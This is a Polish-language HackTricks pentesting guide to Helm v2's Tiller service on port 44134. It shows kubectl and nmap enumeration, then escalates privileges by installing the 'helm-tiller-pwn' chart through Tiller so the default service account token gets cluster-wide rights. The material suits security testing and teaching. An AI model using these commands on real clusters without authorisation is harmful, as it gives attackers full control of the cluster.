hacktricks/src/network-services-pentesting/44134-pentesting-tiller-helm.md

58 lines
3.2 KiB
Markdown

{{#include ../banners/hacktricks-training.md}}
# Podstawowe informacje
Helm to **menedżer pakietów** dla Kubernetes. Umożliwia pakowanie plików YAML i dystrybucję ich w publicznych i prywatnych repozytoriach. Te pakiety nazywane są **Helm Charts**. **Tiller** to **usługa** **działająca** domyślnie na porcie 44134, oferująca tę usługę.
**Domyślny port:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Enumeracja
Jeśli możesz **enumerować pody i/lub usługi** różnych przestrzeni nazw, enumeruj je i szukaj tych z **"tiller" w ich nazwie**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Przykłady:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Możesz również spróbować znaleźć tę usługę, sprawdzając port 44134:
```bash
sudo nmap -sS -p 44134 <IP>
```
Gdy już to odkryjesz, możesz się z nim komunikować, pobierając aplikację kliencką helm. Możesz użyć narzędzi takich jak `homebrew`, lub spojrzeć na [**oficjalną stronę wydań**](https://github.com/helm/helm/releases)**.** Aby uzyskać więcej szczegółów lub inne opcje, zobacz [przewodnik instalacji](https://v2.helm.sh/docs/using_helm/#installing-helm).
Następnie możesz **enumerować usługę**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Eskalacja uprawnień
Domyślnie **Helm2** został zainstalowany w **namespace kube-system** z **wysokimi uprawnieniami**, więc jeśli znajdziesz usługę i masz do niej dostęp, może to pozwolić ci na **eskalację uprawnień**.
Wszystko, co musisz zrobić, to zainstalować pakiet taki jak ten: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn), który da **domyślnemu tokenowi usługi dostęp do wszystkiego w całym klastrze.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
W [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) masz **wyjaśnienie ataku**, ale zasadniczo, jeśli przeczytasz pliki [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) i [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) w _helm-tiller-pwn/pwnchart/templates/_ możesz zobaczyć, jak **wszystkie uprawnienia są przyznawane domyślnemu tokenowi**.
{{#include ../banners/hacktricks-training.md}}